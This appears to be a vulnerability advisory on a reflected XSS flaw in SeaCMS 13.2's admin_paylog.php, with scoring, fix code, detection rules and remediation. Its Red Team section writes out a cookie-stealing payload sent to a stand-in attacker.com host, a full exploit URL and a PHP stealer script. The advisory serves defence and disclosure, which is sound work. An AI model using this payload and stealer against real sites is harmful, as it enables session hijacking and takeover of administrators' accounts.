CVE-2025-4256

Executive Summary

CVE-2025-4256 is a publicly disclosed, unauthenticated reflected Cross-Site Scripting (XSS) vulnerability affecting SeaCMS version 13.2. The flaw resides in the /admin_paylog.php file, where the cstatus parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the cstatus parameter. When an authenticated administrator visits this crafted URL, the script executes in the context of the admin's session, potentially leading to session hijacking, credential theft, or further compromise of the SeaCMS instance. The vulnerability is classified as problematic with a CVSS score of 0.0 (likely unassigned or placeholder), but the public availability of a proof-of-concept (PoC) elevates the risk. No official patch has been released by the vendor as of this analysis.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the SeaCMS PHP application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The attack is initiated remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim (admin) must click the crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (admin session).
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., change admin settings).
• Availability (A): None (N) – No impact on availability.

Estimated CVSS v3.1 Score: 6.1 (Medium)

Threat Level: Medium to High (due to public PoC and lack of patch).

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the SeaCMS admin panel. The file /admin_paylog.php is used to manage payment logs. The cstatus parameter is likely used to filter or display the status of payment entries. The application takes the value of cstatus from the HTTP GET request and directly embeds it into the HTML response without proper encoding or sanitization.

Attack Flow:

1. An attacker identifies a SeaCMS 13.2 instance.
2. The attacker crafts a URL: http://target.com/admin_paylog.php?cstatus=<script>alert('XSS')</script>
3. The attacker sends this URL to an authenticated admin (e.g., via email, social engineering).
4. The admin, while logged into SeaCMS, clicks the link.
5. The server processes the request and reflects the cstatus value in the response page.
6. The browser executes the injected JavaScript.
7. The attacker can now perform actions as the admin, such as stealing session cookies, modifying site content, or creating new admin accounts.

Root Cause: Lack of output encoding for user-controlled input in the cstatus parameter.

Vulnerable vs. Patched Code

Since no official patch is available, a hypothetical fix is provided.

Vulnerable Code (Conceptual PHP):

<?php
// /admin_paylog.php
$cstatus = $_GET['cstatus'];
echo "<div>Current Status: " . $cstatus . "</div>";
?>

Patched Code (Conceptual PHP):

<?php
// /admin_paylog.php
$cstatus = $_GET['cstatus'];
// Sanitize input: allow only expected values (e.g., 'pending', 'completed')
$allowed_statuses = ['pending', 'completed', 'failed'];
if (in_array($cstatus, $allowed_statuses)) {
    echo "<div>Current Status: " . htmlspecialchars($cstatus, ENT_QUOTES, 'UTF-8') . "</div>";
} else {
    echo "<div>Invalid status.</div>";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running SeaCMS 13.2.
• A way to deliver the malicious link to an authenticated admin.

Exploit Payload: A simple proof-of-concept to steal the admin's session cookie:

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Full Exploit URL:

http://target.com/admin_paylog.php?cstatus=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Stealer Script (attacker.com/steal.php):

<?php
$cookie = $_GET['c'];
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
?>

Lab Setup:

1. Install SeaCMS 13.2 on a local server (e.g., XAMPP, Docker).
2. Log in as admin.
3. Open a browser console and simulate the attack by navigating to the crafted URL.
4. Observe the cookie being sent to the attacker's server.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /admin_paylog.php with suspicious cstatus parameters containing <script>, onerror=, javascript:, or other XSS patterns.
• Use a Web Application Firewall (WAF) to block requests with XSS payloads in the cstatus parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation: only allow predefined status values (e.g., pending, completed).
• Apply output encoding: use htmlspecialchars() or equivalent before echoing user input.
• Restrict access to /admin_paylog.php to trusted IPs or require additional authentication.
• Educate administrators about phishing attacks and the risks of clicking untrusted links.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /admin_paylog.php with a cstatus parameter containing HTML/JavaScript code.
• Outbound connections from the SeaCMS server to an external IP address (attacker's server) on port 80/443.
• Referer header from the admin panel to an external site.

Host IOCs:

• Unusual entries in the web server access log (e.g., GET /admin_paylog.php?cstatus=<script>...).
• Presence of new admin accounts or modified site settings.
• Unexpected files in the SeaCMS installation directory (e.g., webshells).

File IOCs:

• /admin_paylog.php file may be modified if the attacker gains write access.
• Log files showing the XSS payload.

Detection Engineering

YARA Rule

rule Detect_SeaCMS_XSS_CVE_2025_4256 {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-4256 in SeaCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4256"
    strings:
        $xss_payload = /cstatus=.*(<script|<img|onerror|onload|javascript:)/
    condition:
        $xss_payload
}

Sigma Rule

title: SeaCMS admin_paylog.php XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts targeting CVE-2025-4256 in SeaCMS
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin_paylog.php?cstatus='
        cs-uri-query|re: '(?i)(<script|<img|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of status values containing similar patterns (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-4256 SeaCMS admin_paylog.php XSS Attempt"; flow:to_server,established; content:"/admin_paylog.php"; http_uri; content:"cstatus="; http_uri; pcre:"/(?i)(<script|<img|onerror|onload|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or restrict access to /admin_paylog.php until a patch is applied. Use .htaccess or firewall rules to limit access to trusted IPs.
2. Implement a WAF rule to block requests containing XSS patterns in the cstatus parameter.
3. Review admin accounts and audit recent changes to the SeaCMS installation.

Long-Term Fix:

• Vendor Patch: Await an official patch from SeaCMS. Monitor their official channels.
• Manual Code Fix: If you have access to the source code, apply the patched code logic described in the "Vulnerable vs. Patched Code" section.
• Upgrade: Consider upgrading to a newer version of SeaCMS if available, or migrate to a more secure CMS.

General Security Practices:

• Enforce the principle of least privilege for admin accounts.
• Regularly update and patch all software components.
• Conduct security awareness training for administrators.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-4256